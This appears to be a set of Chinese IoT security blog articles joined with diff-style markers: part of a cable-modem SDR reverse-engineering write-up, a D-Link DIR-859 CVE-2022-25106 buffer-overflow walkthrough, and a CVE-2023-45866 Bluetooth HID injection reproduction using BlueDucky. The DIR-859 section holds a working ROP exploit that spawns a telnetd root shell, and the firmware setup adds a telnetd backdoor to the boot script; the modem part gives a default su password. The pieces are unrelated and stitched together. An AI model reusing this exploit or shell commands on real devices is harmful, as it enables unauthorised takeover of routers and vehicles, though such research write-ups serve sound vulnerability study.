26. Forgetting energy frequency.
|
||||
27. Executing fast scan algorithm...
|
||||
28.
|
||||
29. Type 'help' or '?' for a list of commands...
|
||||
30.
|
||||
31. CM> Scanned 489000000 Hz...
|
||||
32. Scanned 495000000 Hz...
|
||||
33. Scanned 501000000 Hz...
|
||||
34. Scanned 507000000 Hz...
|
||||
35. Scanned 513000000 Hz...
|
||||
```
|
||||
|
||||
# eCos 控制台
|
||||
eCos 控制台包含许多配置和调试命令。可以使用以下命令停止输出的过程:
|
||||
|
||||
```
|
||||
1. cd cm_hal
|
||||
2. scan_stop
|
||||
```
|
||||
|
||||
作为一点说明,这些“目录”并不是一个真正的文件系统,它们只是一种组织命令组的方式。Telnet 访问也可以在 IP 地址 `192.168.100.1`上使用。用户名是“technician”,密码是我在修改配置时更改的密码。Telnet 会将您放入一个受限制的 shell 版本,但可以使用 `su`命令和密码 `brcm`来访问完整的 shell(感谢 bcm2-utils 的作者 jclehner)。这个密码可能会因设备制造商而异。最初,我只是想看看是否可以启用这台设备上似乎被禁用的基于网络的频谱分析仪。有一些与此相关的设置,但没有关于启用或禁用外部接口的内容。在各种菜单和命令中花了几个小时后,我决定是时候转向分析操作系统了。
|
||||
|
||||
# 反向工程固件
|
||||
由于引导日志,我们知道操作系统位于 0x20000 处,且为 LZMA 压缩。`bcm2-utils`的 README 指引我到一个包含名为 `ProgramStore`的实用程序的Broadcom repo。构建 `ProgramStore`后,我能够使用以下命令提取解压缩的图像:
|
||||
|
||||
```
|
||||
1. ./ProgramStore -f ./ecram_sto.bin -o decompressed_fw.bin -c 4 -x
|
||||
```
|
||||
现在我们可以使用引导日志中的基地址 0x80004000 将其投入Ghidra,并将架构设置为大端 MIPS。
|
||||
自动分析完成后,现在是时候开始深入挖掘了。幸运的是,有很多调试字符串使得一些函数非常容易识
|
||||
别。
|
||||
我开始给我遇到的任何函数命名,使用字符串以及函数签名,结合上下文和任何交叉引用。最终,当进
|
||||
入一个未知函数时,对已命名函数的交叉引用会给出一些线索,以便最终更容易地理解函数的上下文。
|
||||
在大多数情况下,我只是在搜索有趣的字符串,比如“调谐器”和“ADC”,并尽可能地理解,随着各种函
|
||||
数调用带我去的地方,并在一个单独的文本文档中记录有趣的函数、结构、地址和工作原理的理论。
|
||||
eCos 控制台的一个有用功能是 call命令,它允许您在任意地址调用一个函数,并传递给定的参数。
|
||||
这使我们能够实际执行一个函数来测试关于其功能的假设。
|
||||
操作系统上有大量的 Broadcom 代码,全部用 C++编写。这使得反向工程变得更加烦人,因为在函数
|
||||
调用和多态性方面增加了很多间接性。例如,您经常会看到这样的代码:
|
||||
|
||||
```
|
||||
1. case 0x24:
|
||||
2. uVar23 = (**(code **)(*piParm1_00 + 0x1c))(piParm1_00);
|
||||
```
|
||||
这不仅使代码难以跟踪,还意味着 Ghidra 无法跟踪以这种方式调用的函数的交叉引用。有时可以通过跟踪对象指针直到初始化的位置来确定类,但有时更容易的方法是在使用未知对象的地方补丁一个函数,将指针的值写入已知位置,然后返回。这可以通过 eCos 控制台中的 `write_memory` 命令来完成。然后可以使用 `call` 命令调用包含未知对象的函数,然后使用 `read_memory` 命令从已知位置检索指针。这种类型的技巧以及结合静态和动态分析对于避免陷入困境至关重要。
|
||||
|
||||
一些功能在我尝试调用它们时会导致设备崩溃。更仔细的检查显示它们使用了超过 4 个参数,并且使用了 t0、t1、t2 和 t3 寄存器来传递额外的参数。对于 32 位 MIPS 设备来说,这有点不寻常,但事实证明调用约定是由 ABI 和 MIPS 的许多不同 ABI 确定的。很难找到关于确切调用约定的信息,但使用Godbolt,我能够确定 EABI 是最有可能使用 t0-t3 传递额外参数的候选者。不幸的是,Ghidra 似乎不支持 MIPS EABI,但手动设置一些函数的参数寄存器并不太麻烦,参数似乎是唯一的重要区别。
|
||||
|
||||
挖掘了一段时间后,我把目光投向了频谱分析仪。虽然代码已经存在,但我从未弄清楚如何启用 Web 界面。我发现了许多其他有用的功能,比如用于设置下行(接收)通道频率的功能,套接字/绑定/监听/发送/接收功能,线程创建功能,以及用于读写调谐器和低噪声放大器寄存器的功能。
|
||||
|
||||
# 突破
|
||||
最终我找到了一个控制台命令,可以对给定频率范围进行带宽测量。
|
||||
|
||||
我开始密切关注执行过程,以查看它如何处理频率范围参数,并发现它调用了一个非常熟悉的函数 - 几乎与用于调整下行通道的函数相同,但频率设置的内存映射寄存器地址仅略高于用于正常通道的地址。这表明频谱分析仪使用了一个额外的通道,否则在调谐和设置增益方面与正常下行通道的方式非常相似。
|
||||
|
||||
继续进行,测量功能将目标缓冲区的物理地址写入内存映射寄存器,然后在另一个寄存器中设置一个位,并循环直到再次取消设置。然后调用函数,该函数可能计算 FFT,传入缓冲区地址。计算完成后,另一个函数对缓冲区进行一些处理,但保持其原样。
|
||||
|
||||
将一根跳线插入同轴连接器充当天线后,我调用了 bandpower 函数,然后在目标缓冲区上执行了 `read_memory`。
|
||||
|
||||
```
|
||||
1. CM> read_memory -n256 0x86fb3e80
|
||||
2.
|
||||
3. 86fb3e80: 00 00 06 8c 00 3f fe 48 00 00 06 41 00 20 00 3d | .....?.H...A. .=
|
||||
4. 86fb3e90: 00 00 08 56 00 20 02 11 00 00 0a b3 00 20 03 f2 | ...V. ....... ..
|
||||
5. 86fb3ea0: 00 00 0a 50 00 20 04 84 00 00 06 61 00 20 03 d7 | ...P. .....a. ..
|
||||
6. 86fb3eb0: 00 00 01 1d 00 20 02 da 00 1f fd f4 00 20 00 4d | ..... ....... .M
|
||||
7. 86fb3ec0: 00 1f fd 11 00 3f fc 20 00 1f fb 95 00 3f fa ad | .....?. .....?..
|
||||
8. 86fb3ed0: 00 1f fa 32 00 3f fd fc 00 1f fc a3 00 20 00 cb | ...2.?....... ..
|
||||
9. 86fb3ee0: 00 00 01 97 00 3f fe b5 00 00 04 0f 00 3f fb 6a | .....?.......?.j
|
||||
10. 86fb3ef0: 00 00 03 9f 00 3f fb d6 00 00 03 1d 00 3f fe 55 | .....?.......?.U
|
||||
11. 86fb3f00: 00 00 02 f8 00 3f ff a9 00 00 02 ee 00 20 01 49 | .....?....... .I
|
||||
12. 86fb3f10: 00 00 03 8f 00 20 04 87 00 00 03 94 00 20 05 09 | ..... ....... ..
|
||||
13. 86fb3f20: 00 00 01 81 00 3f ff bb 00 1f ff 14 00 3f fa 97 | .....?.......?..
|
||||
14. 86fb3f30: 00 1f fe 8d 00 3f fc 9d 00 1f ff 89 00 20 01 82 | .....?....... ..
|
||||
15. 86fb3f40: 00 00 00 be 00 20 00 09 00 00 01 8f 00 3f fa 3a | ..... .......?.:
|
||||
16. 86fb3f50: 00 00 01 78 00 3f fa 66 00 00 00 7b 00 20 01 35 | ...x.?.f...{. .5
|
||||
17. 86fb3f60: 00 1f ff 79 00 20 04 f6 00 1f fe e2 00 20 02 62 | ...y. ....... .b
|
||||
18. 86fb3f70: 00 1f fd 93 00 3f ff 4d 00 1f fa ee 00 3f fe 16 | .....?.M.....?..
|
||||
```
|
||||
希望这是 I/Q 数据,看起来很有希望。在 FFT 之后处理数据的函数支持这一点-它检查第一个 32 位字中的 0x00200000 位是否为零,如果是,则丢弃数据的第一个和最后一个字。我假设这个位表示样本是 I 还是 Q 值,如果第一个样本是 Q,则从开头丢弃不匹配的 Q,从结尾丢弃不匹配的 I。例如:
|
||||
|
||||
```
|
||||
1. Case 1: Case 2:
|
||||
2. Q IQ IQ IQ I IQ IQ IQ IQ
|
||||
3.
|
||||
4. | | do nothing
|
||||
5. v v
|
||||
6.
|
||||
7. IQ IQ IQ IQ IQ IQ IQ
|
||||
```
|
||||
|
||||
要确定的唯一方法是获取更多数据并对其进行分析。
|
||||
|
||||
# 你好,世界
|
||||
|
||||
为了使以后的事情变得更容易,我决定编写一个程序,该程序将在调制解调器上运行,调用调谐和带宽功能,然后打开一个监听套接字,并通过 TCP 连接发送缓冲区的内容。我还应该指出,我在这一点上停止了在树莓派上的工作,这样我就不必创建一个 ARM 到 MIPS 的交叉编译器。
|
||||
|
||||
编写可以加载并在“几乎裸金属”上执行的代码的基本方法如下。
|
||||
|
||||
通过将我们希望使用的外部函数的签名添加到一个头文件中,并使用包含函数地址的链接器脚本,可以轻松编译利用这些函数的程序。此外,为了使程序在加载到预定内存位置时正常运行,并确保入口点位于该地址,需要使用一个部分映射。链接器脚本大致如下:
|
||||
|
||||
```
|
||||
1. memset = 0x80522d7c;
|
||||
2. memcpy = 0x80004f30;
|
||||
3. malloc = 0x80596998;
|
||||
4. printf = 0x8052b178;
|
||||
5. socket = 0x80332fd0;
|
||||
6. bind = 0x800ae7bc;
|
||||
7. listen = 0x80412ed4;
|
||||
8. accept = 0x80413118;
|
||||
9. send = 0x80413240;
|
||||
10. recv = 0x804134bc;
|
||||
11. tune_aux_channel = 0x80082108;
|
||||
12.
|
||||
13. SECTIONS
|
||||
14. {
|
||||
15. . = 0x80810000;
|
||||
16. .start : { *(.start) }
|
||||
17. .text : { *(.text) }
|
||||
18. .data : { *(.data) }
|
||||
19. .rodata : { *(.rodata) }
|
||||
20. }
|
||||
```
|
||||
它是用以下命令构建的:
|
||||
|
||||
```
|
||||
1. mips-linux-gcc measure.c \
|
||||
2. -march=mips32 \
|
||||
3. -mabi=eabi \
|
||||
4. -msoft-float \
|
||||
5. -mno-abicalls \
|
||||
6. -fno-builtin
|
||||
7. -nostdlib \
|
||||
8. -nodefaultlibs \
|
||||
9. -nostartfiles \
|
||||
10. -T ./script.ld
|
||||
```
|
||||
|
||||
MIPS CPU 没有 FPU,因此使用 `-msoft-float`。在使用 `-mabi=eabi`时似乎需要 `-mno-abicalls`。 `-fno-builtin`防止编译器通过添加对 `memcpy`等函数的调用来优化某些部分,这将导致未定义符号。 `-nostdlib`和 `-nostartfiles`防止编译器使用标准 C 库中的“crt0.o”入口点,该入口点执行一些我们不关心的设置。
|
||||
|
||||
使用 `objcopy`我们可以从编译后的 elf 文件中提取我们关心的部分。
|
||||
|
||||
```
|
||||
1. mips-linux-objcopy -O binary \
|
||||
2. -j .start \
|
||||
3. -j .text \
|
||||
4. -j .data \
|
||||
5. -j .rodata \
|
||||
6. a.out bin
|
||||
```
|
||||
最后,为了实际加载它,我编写了一个使用 pexpect telnet 登录到调制解调器并使用 `write_memory`命令将二进制文件写入目标地址的 Python 脚本。该程序使用 `call`命令执行。
|
||||
|
||||
看看我是否能接收到 FM 广播,我将其调到 100MHz 并获取了一些数据。
|
||||
|
||||
使用 numpy、scipy 和 matplotlib Python 库,我能够将数据解释为复值样本,计算 FFT 并绘制出一个漂亮的带通滤波频谱,其中有明显的尖峰。
|
||||
|
||||

|
||||
|
||||
当时我还不是真的相信,但回顾起来,这确实表明我成功地捕捉了复杂的样本,因为如果不是这样,这样的情节是不可能的。
|
||||
|
||||
我不打算完全相信,直到我能解调信号并收听 FM 广播。将频谱移动到其中一个尖峰的中心,将其减少以隔离频率范围,并使用我在网上找到的用于复值 FM 的非常简单的解调技术,我能够清楚地看到广播的不同部分,包括(应该是)19kHz 的导频音调。
|
||||
|
||||

|
||||
|
||||
通过一些实验,我确定每秒 1500 万个样本的采样率将飞行员音调放在 19kHz。这似乎与带功率函数以 7.5MHz 的块进行测量的事实一致。尽管您获得了完整的 15MHz,因为这些是复值样本,但带通滤波器的可用范围更像是 7.5-8MHz,假设 15MHz 的采样率是匹配的。
|
||||
|
||||
# 优化
|
||||
以每秒 1500 万个样本和每个样本占用 8 字节的速度,大约 100MB 的空闲 RAM 中可以存储不到一秒的数据。
|
||||
|
||||
一个明显的改进是在填充缓冲区后发送数据,然后捕获更多数据。处理时间和网络吞吐量意味着捕获之间大约有 11 秒的间隔。通过实施一个设置寄存器并启动捕获的新功能,将这个时间缩短到约 5 秒,从而消除了 FFT 计算和其他处理。
|
||||
|
||||
经过一些对未知寄存器值的实验,希望找到 会影响采样率的一个位,我发现一个似乎限制了 我和 Q 值到 14 个有效位。虽然它们仍然占用 8 个字节。 每个样本,这意味着我可以将两个样本打包成一个 32 位字。 注意:我不确定 ADC 实际上是否采样了 14/20 位,因为这似乎 相当高,但这是每个样本值的有效大小。
|
||||
|
||||
我编写了另一个函数来处理每个捕获,确定它是以 I 值还是 Q 值开头,然后迭代通过缓冲区将每个 I/Q 对打包成一个整数,并将其写入缓冲区中的下一个位置。这样做并没有显著提高性能,但通过仅采用每第 N 个样本,我可以降低有效采样率,缩短处理时间,并减少需要发送回去的字节数,从而大大提高了延迟。
|
||||
|
||||
另一个改进是线程处理。我通过一些调试消息找到了用于创建和启动新线程以及用于计数信号量的函数。有了这些工具,我可以有两个或更多的缓冲区。然后一个线程不断地将数据捕获到下一个可用的缓冲区中,然后通过信号量向另一个线程发出写入完成的信号。第二个线程对数据进行打包和降采样,将其发送到网络上,然后发出缓冲区再次可写入的信号。
|
||||
|
||||
通过这些改进和采样率降低了 32 倍(降至 464kHz),我可以无限地捕获和发送数据,同时丢失约 12%。我相信这主要是由于捕获完成和“完成”标志设置之间存在几毫秒的固有延迟。此外,我不知道是否有一种方法可以在完成时生成中断或其他内容,因此我必须依靠在 while 循环中休眠,因为这是原始函数中的操作方式。
|
||||
|
||||
我希望有某种时钟分频器寄存器,可以降低 ADC 的时钟,从而降低采样率,可能减少延迟并消除后处理时间,但我还没有找到这样的寄存器。
|
||||
|
||||
以这种方式进行降采样似乎会丢失很多信息 - 超过噪声底线约 16 倍后,噪声会更高,FM 广播的立体声通道也不再可辨。
|
||||
|
||||
尽管在某些应用程序中丢失一些数据是不好的,但它可以相当无缝地流式传输 FM 广播,尽管音频必须稍微减慢,以便不会比接收速度更快地消耗。我还能够接收到当地消防局使用的 154MHz 窄带 FM 广播。
|
||||
|
||||
这是使用调制解调器捕获的一段解调音频的简短示例
|
||||
|
||||
# 结论
|
||||
尽管这个项目大部分只是对自己的一个挑战,并不是一个严肃的 SDR,但我对结果感到满意,并希望继续改进它。这句话真的让我产生共鸣,所以再次引用 VK4HAT 的话说:“在生活中可获得的第一次机会很少,抓住那些出现的机会并尝试一下”
|
||||
|
||||
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与技术交流之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
|
||||
@@ -0,0 +1,151 @@
|
||||
# 通过Fap进行upnp漏洞分析之CVE-2022-25106
|
||||
> 偏有宸机
|
||||
> 来源:https://www.iotsec-zone.com/article/193
|
||||
|
||||
**CVE-2022-25106**
|
||||
根据cve公告确定其存在漏洞的固件版本为DIR-859 v1.05
|
||||
[https://github.com/nivrrex/dlink-dir859-gpl/releases/tag/V1.05b06.01](https://github.com/nivrrex/dlink-dir859-gpl/releases/tag/V1.05b06.01)
|
||||
|
||||
# 模拟固件
|
||||
|
||||
## 添加gdbserver与busybox
|
||||
在 firmware-analysis-plus/firmadyne/scripts/makeImage.sh 脚本中新增以下内容
|
||||
|
||||
```bash
|
||||
mkdir "${IMAGE_DIR}/firmadyne/userSpace/"
|
||||
cp "${SCRIPT_DIR}/userSpace/busybox-mips" "${IMAGE_DIR}/firmadyne/userSpace/busybox-mips"
|
||||
cp "${SCRIPT_DIR}/userSpace/gdbserver-mips" "${IMAGE_DIR}/firmadyne/userSpace/gdbserver-mips"
|
||||
chmod a+x "${IMAGE_DIR}/firmadyne/userSpace/busybox-mips"
|
||||
chmod a+x "${IMAGE_DIR}/firmadyne/userSpace/gdbserver-mips"
|
||||
#cp "${IMAGE_DIR}/firmadyne/userSpace/*" "${IMAGE_DIR}/bin/"
|
||||
echo "/firmadyne/userSpace/busybox-mips telnetd -p 23 -l /bin/sh &" >> "${IMAGE_DIR}/etc/init0.d/rcS"
|
||||
```
|
||||
上面最好安照文件中的格式来编写,否则可能会影响firmadyne的启动
|
||||

|
||||
再将busybox 和 gdbserver拷贝进去
|
||||
```bash
|
||||
[da1sy@Pwn5ystem] ~/DA1SY-Mac/Tools/IOT-Tools/firmware-analysis-plus/firmadyne/scripts (master) ⚡
|
||||
❯ cp ~/DA1SY-Mac/Tools/IOT-Tools/Busybox/busybox-mips ./userSpace
|
||||
[da1sy@Pwn5ystem] ~/DA1SY-Mac/Tools/IOT-Tools/firmware-analysis-plus/firmadyne/scripts (master) ⚡
|
||||
❯ cp ~/DA1SY-Mac/Tools/IOT-Tools/GdbServer/gdbserver-mips ./userSpace
|
||||
```
|
||||
|
||||
## 添加gdbserver与busybox方法2
|
||||
或者也可以尝试先将固件解包,把busybox-mips、gdbserver放到bin文件夹中
|
||||
将` busybox-mips telnetd -p 23 -l /bin/sh &`
|
||||
加入到固件的/etc/init.d/rcS中后,最后在把文件系统压缩
|
||||
```bash
|
||||
❯ tar -czvf dir859.tar.gz _DIR859_FW105b06_lape.bin.extracted
|
||||
```
|
||||
|
||||
## Fap启动固件
|
||||
```bash
|
||||
❯ ./fap.py -q ./qemu-builds/2.5.0/qemu-system-mips ~/DA1SY-Mac/Study/Iot/Mips/Firmware/DIR859/DIR859_FW105b06_lape.bin
|
||||
```
|
||||

|
||||
能加载出网口IP就算成功
|
||||
启动完成后就可以直接telnet 连接进一步调试了,另外需要在调试前关掉aslr
|
||||
`echo 0 > /proc/sys/kernel/randomize_va_space`
|
||||

|
||||
或者还可以通过rinetd进行端口转发,方便物理机测试
|
||||

|
||||
# UPnP协议
|
||||
|
||||
upnp协议主要用于在网络中广播upnp主体设备的存在及通信,其结构主要包含了设备之间、控制点之间、设备和控制点之间的通信,是一种极具TCP/IP、UDP、HTTP的分布式、开放体系。当支持UPnp的设备开启该功能时,程序将自动向NAT设备发出端口映射的请求,并为其设备分配端口进行映射。
|
||||
|
||||
基础的请求消息格式
|
||||
|
||||
```bash
|
||||
M-SEARCH * HTTP/1.1
|
||||
S:uuid:ijklmnop-7dec-11d0-a765-00a0c91e6bf6
|
||||
Host:239.255.255.250:1900
|
||||
Man:"ssdp:discover"ST:ge:fridge
|
||||
MX:3
|
||||
```
|
||||
通过upnp-hack工具来对网络的upnp设备进行发现
|
||||
[https://github.com/dhishan/UPnP-Hack](https://github.com/dhishan/UPnP-Hack)
|
||||
使用upnpy工具对 upnp设备所提供的描述文档中的接口进行fuzz测试。
|
||||
[https://github.com/5kyc0d3r/upnpy](https://github.com/5kyc0d3r/upnpy)
|
||||
|
||||
# 漏洞复现
|
||||
## 漏洞分析
|
||||
根据漏洞的描述可得知其位于cgibin文件中的genacgi_main函数中,通过ida打开查找相关函数,可以直观的看到v31变量的大小,且向v31传入的字符串相关变量又未对其进行限制,因此导致我门可以通过后面三个参数中的任意一个变量进行溢出
|
||||

|
||||
对于构造我们想要的request uri来说
|
||||
首先v23变量即 SERVER_ID参数的值并非来自我们发送的url请求中,因此主要还是要靠后面的v21、v22来实现溢出
|
||||
具体如何控制也很简单,只需要我们向UNSUBSCRIBE 发送url请求,通过“`?service=`” 既可控制SERVICE、SID后面跟上任意值既可
|
||||

|
||||
此时发送数据进行测试可以看到已经对程序造成缓冲区溢出
|
||||

|
||||
## 动态调试
|
||||
接下来就可以通过gdb动态调试,由于cgibin在加载完后便会直接退出,直接使用gdbserver将无法准确的加载进程到gdbserver上,但可以通过下面方法来动调
|
||||
在qemu中创建debug.sh脚本,来让gdbserver循环加载可能要出现的gena.cgi(其实指向cgibin文件)进程号
|
||||
```bash
|
||||
echo "while :; do gdbserver-mips :9999 --attach $(busybox-mips pidof gena.cgi) ; done" > debug.sh
|
||||
chmod a+x ./debug.sh
|
||||
./debug.sh
|
||||
```
|
||||

|
||||
然后就是正常的启动gdb-multiarch加载cgibin,并提前在问题函数genacgi_main地址上下断点
|
||||
```bash
|
||||
❯ gdb-multiarch htdocs/cgibin
|
||||
pwndbg> set architecture mips
|
||||
pwndbg> set endian big
|
||||
pwndbg> b *0x00410594
|
||||
pwndbg> target remote 192.168.0.1:9999
|
||||
```
|
||||
随后迅速运行exploit就可以成功在gdb中加载cgibin了
|
||||

|
||||
得到缓冲区大小,即474个字符即可控制程序pc寄存器
|
||||
EXP编写
|
||||
随后的exp编写就很明确了,通过mipsrop找到所需要的gadget,执行流程如下
|
||||
`$pc -> gadget1(控制$ra) -> $ra( gadget2) -> gadget2(通过$s2设置$a0寄存器) -> $t9(即$s0传入system函数)`
|
||||
`mipsrop.find("add $s0")` 查找
|
||||

|
||||
`mipsrop.stackfinders() `查找
|
||||

|
||||
需要注意的是我这里是用了service和SID两个变量的参数用来编写exp
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from socket import *
|
||||
from os import *
|
||||
context.arch = "mips"
|
||||
context.endian = "big"
|
||||
|
||||
def exp(ip,port,payload,payload2):
|
||||
data = "UNSUBSCRIBE /gena.cgi?service=%s HTTP/1.0\n"%payload
|
||||
data += "Host: %s:%s\n"%(ip,port)
|
||||
data += "SID: %s\n\n"%payload2
|
||||
con = socket(AF_INET, SOCK_STREAM)
|
||||
con.connect((gethostbyname(ip), int(port)))
|
||||
con.send(data)
|
||||
|
||||
if __name__ == '__main__':
|
||||
ip = "192.168.0.1"
|
||||
port = "49152"
|
||||
|
||||
libc_base = 0x2aaf9000
|
||||
system_addr = libc_base+0x000512D0
|
||||
gadget1 = libc_base + 0x00041254
|
||||
# 0x00041254 | addiu $s0,1 | jr 0x30+var_4($sp) |
|
||||
gadget2 = libc_base + 0x159e8
|
||||
# 0x000159E8 | addiu $s2,$sp,0x2A8+var_290 | jalr $s0 | jr 0x50+var_4($sp) | jr 0x30+var_4($sp) |
|
||||
|
||||
success("%x",gadget1)
|
||||
payload = 'a'*(474)
|
||||
|
||||
payload += p32(gadget1)
|
||||
payload2 = p32(system_addr) #s0
|
||||
payload2 += "baaa" #s1
|
||||
payload2 += p32(0x7fff6a9c+4) #s2 cmd_str
|
||||
payload2 += "daaa" #s3
|
||||
payload2 += "eaaa" #s4
|
||||
payload2 += p32(gadget2) #$ra
|
||||
payload2 += "gaaahaaaiaaajaaakaaalaaa"
|
||||
payload2 += "/bin/busybox-mips telnetd -p 4445 -l /bin/sh;"
|
||||
|
||||
exp(ip,port,payload,payload2)
|
||||
system("telnet 192.168.0.1 4445")
|
||||
|
||||
```
|
||||
@@ -0,0 +1,283 @@
|
||||
# 零点击代码执行漏洞复现(CVE-2023-45866 )
|
||||
> 背包小新
|
||||
> 来源:https://www.iotsec-zone.com/article/521
|
||||
|
||||
# 0x00前言
|
||||
漏洞描述:BlueZ 中的蓝牙 HID 主机可能允许未经身份验证的外围设备 HID 设备发起并建立加密连接,并接收 HID 键盘报告,从而可能允许在中央设备未进行任何用户交互以授权此类访问的情况下注入 HID 消息。
|
||||
|
||||
什么是HID?
|
||||
HID(Human Interface Device)就是常见的人机交互设备,最典型的例子是键盘和鼠标。
|
||||
|
||||
前期准备:UD100和android10车机
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 0x01信息收集
|
||||
已知的受该漏洞影响版本:
|
||||
|
||||
||||
|
||||
|-|-|-|
|
||||
|Android|4.2, 5, 6, 7, 8, 9, 10,11, 12, 13, 14|CVE-2023-45866|
|
||||
|iOS|16,17|CVE-2023-45866|
|
||||
|Linux (BlueZ)|[Affected Distros](https://github.com/skysafe/reblog/blob/main/cve-2024-0230/README.md#linux-distributions)|CVE-2023-45866|
|
||||
|macOS|12, 13,14|CVE-2023-45866|
|
||||
|Windows|10, 11, Server 2022|CVE-2024-21306|
|
||||
|
||||
本次测试使用的车机版本是Android 10
|
||||
|
||||
BlueDucky的作用:把蓝牙发射器(UD100)发射的蓝牙信号伪装成HID设备,向附近的目标机(Android10车机)发送按键序列(打开浏览器、输入命令、粘贴脚本等)。
|
||||
|
||||
BlueDucky安装:
|
||||
`
|
||||
sudo apt-get update
|
||||
|
||||
sudo apt-get -y upgrade
|
||||
|
||||
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
|
||||
git gcc python3-pip python3-setuptools \
|
||||
python3-pydbus
|
||||
|
||||
git clone [https://github.com/pybluez/pybluez.git](https://github.com/pybluez/pybluez.git)
|
||||
cd pybluez
|
||||
sudo python3 setup.py install
|
||||
|
||||
cd ~/
|
||||
git clone --depth=1 [https://github.com/bluez/bluez.git](https://github.com/bluez/bluez.git)
|
||||
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
|
||||
sudo cp bdaddr /usr/local/bin/
|
||||
|
||||
`
|
||||
或者在github上进行下载
|
||||
|
||||
`https://github.com/pentestfunctions/BlueDucky`
|
||||
|
||||
# 0x02漏洞分析
|
||||
在某些系统版本中,主机在处理 HID设备时没有强制进行身份验证或配对检查,例如验证设备是否已绑定或检查 VID/PID。因此,我可以用蓝牙发射器( UD100)发射的蓝牙信号伪装成 HID 设备并发起连接请求;主机在未确认该设备为已配对/受信任的前提下便建立了 HID 信道。一旦 HID 通道建立成功,攻击设备就可以发送 Input Report(按键事件),系统会将其当作合法键盘输入处理,从而导致零点击代码执行漏洞。
|
||||
|
||||
BlueZ 的基本概念:
|
||||
BlueZ 是Linux 系统上用于蓝牙通信的协议栈,它为操作系统提供了底层的蓝牙支持,使得Linux 系统上的蓝牙功能(如连接、数据传输等)能够正常工作。 它主要通过D-Bus 接口而非传统的头文件来提供API,应用程序通过D-Bus 与BlueZ 进行交互,以实现蓝牙功能。
|
||||
|
||||
D-Bus的基本概念:
|
||||
D-Bus是一个进程间远程通讯机制,可以让多个不同的进程在同一台电脑上通信。D-Bus还可以简化通信网络。
|
||||
|
||||

|
||||
无D-Bus
|
||||
|
||||

|
||||
存在D-Bus时
|
||||
#
|
||||
# 0x03漏洞复现
|
||||
复现的大体流程图如下
|
||||
|
||||
```复现的大体流程图如下
|
||||
[启动车机]
|
||||
|
|
||||
[插入 UD100 并确认连接]
|
||||
|
|
||||
[扫描蓝牙设备]
|
||||
|
|
||||
[运行 BlueDucky.py]
|
||||
|
|
||||
[检查蓝牙服务状态]
|
||||
|
|
||||
[分析/修改脚本蓝牙模块]
|
||||
|
|
||||
[进入 bluetoothctl 查看适配器状态]
|
||||
|
|
||||
[scan on 扫描附近设备]
|
||||
|
|
||||
[重新运行 BlueDucky.py(另一个终端)]
|
||||
|
|
||||
[执行 payload]
|
||||
|
|
||||
[实现零点击代码执行漏洞 ]
|
||||
```
|
||||
|
||||
启动车机
|
||||
|
||||

|
||||
|
||||
插入UD100,确认连接情况
|
||||
`hciconfig`
|
||||
|
||||

|
||||
|
||||
然后扫描车机的蓝牙是否存在
|
||||
`sudo hcitool scan`
|
||||
|
||||

|
||||
扫到了,接下来进行漏洞的复现
|
||||
|
||||
`sudo python3 BlueDucky.py`
|
||||
|
||||

|
||||
这里运行blueducky.py,报错了,运行之前我们是检查了UD100的连接情况的。会不会是蓝牙服务没起来?
|
||||
|
||||
下图是蓝牙服务未运行的状态。
|
||||
`sudo systemctl status bluetooth`
|
||||
|
||||

|
||||
那么就可以输入命令来开启
|
||||
`sudo systemctl start bluetooth`
|
||||
|
||||
看一下bluetooth服务的运行状态,这个才是运行的状态
|
||||
|
||||

|
||||
|
||||
确认了bluetooth服务是运行状态。这里还是会报错,猜测会不会是BlueDucky.py蓝牙模块那里有点问题,我们来分析一下脚本中蓝牙的模块。
|
||||
|
||||

|
||||
|
||||
#### 脚本中蓝牙模块的分析
|
||||
|
||||
重启蓝牙 → 注册 HID Profile → 初始化并启用蓝牙适配器 → 设置名称和类型 → 返回可用对象。
|
||||
|
||||
```Python
|
||||
def setup_bluetooth(target_address, adapter_id):
|
||||
restart_bluetooth_daemon()
|
||||
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
|
||||
profile_proc.start()
|
||||
child_processes.append(profile_proc)
|
||||
adapter = Adapter(adapter_id)
|
||||
adapter.set_property("name", "Robot POC")
|
||||
adapter.set_property("class", 0x002540)
|
||||
adapter.power(True)
|
||||
return adapter
|
||||
```
|
||||
|
||||
下面看一下我修改后的脚本:
|
||||
|
||||
```Python
|
||||
def setup_bluetooth(target_address, adapter_id):
|
||||
restart_bluetooth_daemon()
|
||||
|
||||
# 等待 BlueZ 在 DBus 中注册 hci 对象
|
||||
bus = SystemBus()
|
||||
adapter_path = f"/org/bluez/{adapter_id}"
|
||||
max_wait = 20 # 最多 10 秒
|
||||
waited = 0
|
||||
while waited < max_wait:
|
||||
try:
|
||||
bus.get("org.bluez", adapter_path)
|
||||
log.info(f"Adapter {adapter_id} is available on DBus.")
|
||||
break
|
||||
except Exception:
|
||||
waited += 1
|
||||
log.debug(f"Waiting for adapter {adapter_id} to appear on DBus... ({waited}/{max_wait})")
|
||||
time.sleep(0.5)
|
||||
else:
|
||||
log.error(f"Adapter {adapter_id} did not appear on DBus after {max_wait * 0.5} seconds.")
|
||||
raise ConnectionFailureException("Adapter not found after restart")
|
||||
|
||||
# ===== 新增:等待 hci0 进入 UP 状态 =====
|
||||
for attempt in range(20): # 最多等待 10 秒
|
||||
result = subprocess.run(
|
||||
["hciconfig", adapter_id],
|
||||
capture_output=True,
|
||||
text=True
|
||||
)
|
||||
if "UP RUNNING" in result.stdout:
|
||||
log.info(f"Adapter {adapter_id} is UP and running.")
|
||||
break
|
||||
else:
|
||||
log.debug(f"Adapter {adapter_id} still DOWN, bringing it UP... (attempt {attempt+1})")
|
||||
subprocess.run(["sudo", "hciconfig", adapter_id, "up"])
|
||||
time.sleep(0.5)
|
||||
else:
|
||||
log.error(f"Adapter {adapter_id} failed to reach UP state after retries.")
|
||||
raise ConnectionFailureException("Bluetooth adapter did not start properly")
|
||||
|
||||
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
|
||||
profile_proc.start()
|
||||
child_processes.append(profile_proc)
|
||||
|
||||
adapter = Adapter(adapter_id)
|
||||
adapter.set_property("name", "Robot POC")
|
||||
adapter.set_property("class", 0x002540)
|
||||
adapter.power(True)
|
||||
return adapter
|
||||
```
|
||||
|
||||
